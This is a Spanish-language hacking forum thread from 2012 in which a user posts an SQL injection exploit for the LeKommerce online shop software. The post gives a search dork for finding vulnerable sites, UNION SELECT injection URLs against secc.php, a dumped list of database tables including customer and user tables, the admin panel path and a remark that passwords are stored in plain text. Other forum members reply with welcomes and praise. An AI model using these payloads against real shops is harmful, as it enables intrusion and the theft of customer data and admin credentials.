Exploit SQLI LeKommerce

Iniciado por MaztoR, Abril 05, 2012, 09:25:16 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 05, 2012, 09:25:16 PM Ultima modificación: Abril 05, 2012, 10:37:30 PM por MaztoR


Código: php
# Author: Mazt0r
# Exploit Title: Online Shop SQLI
# Date: 04 DE MARZO DE 2012
# software: LeKommerce
# link: http://www.lekommerce.com/
# Version: "ESPECIFIC VERSION NO TESTED"
# Category: Commerce online
# Tested on: Linux

D0rk: inurl:secc.php?id=

=====================================
Exploit :
======================
http://localhost/path/secc.php?id={sqli}
======================
Example:
======================
http://localhost/path/secc.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7--
http://localhost/path/secc.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7+from+information_schema.tables--
======================
dbs:
======================
+--------------------------------+
| t_clientes |
| t_colores |
| t_colores_idiomas |
| t_configuracionglobal |
| t_emailing |
| t_emailingcliente |
| t_facturascompra |
| t_facturasventa |
| t_familias |
| t_familias_idiomas |
| t_formaspago |
| t_idiomas |
| t_incidencias |
| t_iva |
| t_marcas |
| t_menusuperior |
| t_noticias |
| t_productos |
| t_productos_idiomas |
| t_proveedores |
| t_provincias |
| t_rel_productos_tallas_colores |
| t_rel_tallas_colores |
| t_seccionesproductos |
| t_seccionesproductos_idiomas |
| t_series |
| t_subfamilias |
| t_subfamilias_idiomas |
| t_tallas |
| t_tallas_idiomas |
| t_tiposperfiles |
| t_traducciones |
| t_usuarios |
+--------------------------------+

PASSWD: TEXT PLAIN? <<<--- SECURE? EPIC!

----------------------------------
PANEL ADMIN: [/lib/validar_index.php]

----------------------------------
Blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Twitter: @Mazt0r
----------------------------------



LINKS EXPLOIT REPORTS
-----------------------------------------

OSDVB:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
EXPLOIT DB: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
PACKET-STORM:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
SECUNIA: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
-------------------------------------
| Twitter: @Mazt0r                
| Site: www.maztor.com        
| Skype: Maztor-                    
-------------------------------------

Bienvenido y que bueno que estes activo en el foro nuevamente  :)


besos  :-*

Re-Bienvenido Mazt0r, buen aporte.

Un saludo.
Twitter: @The_Pr0ph3t
[email protected]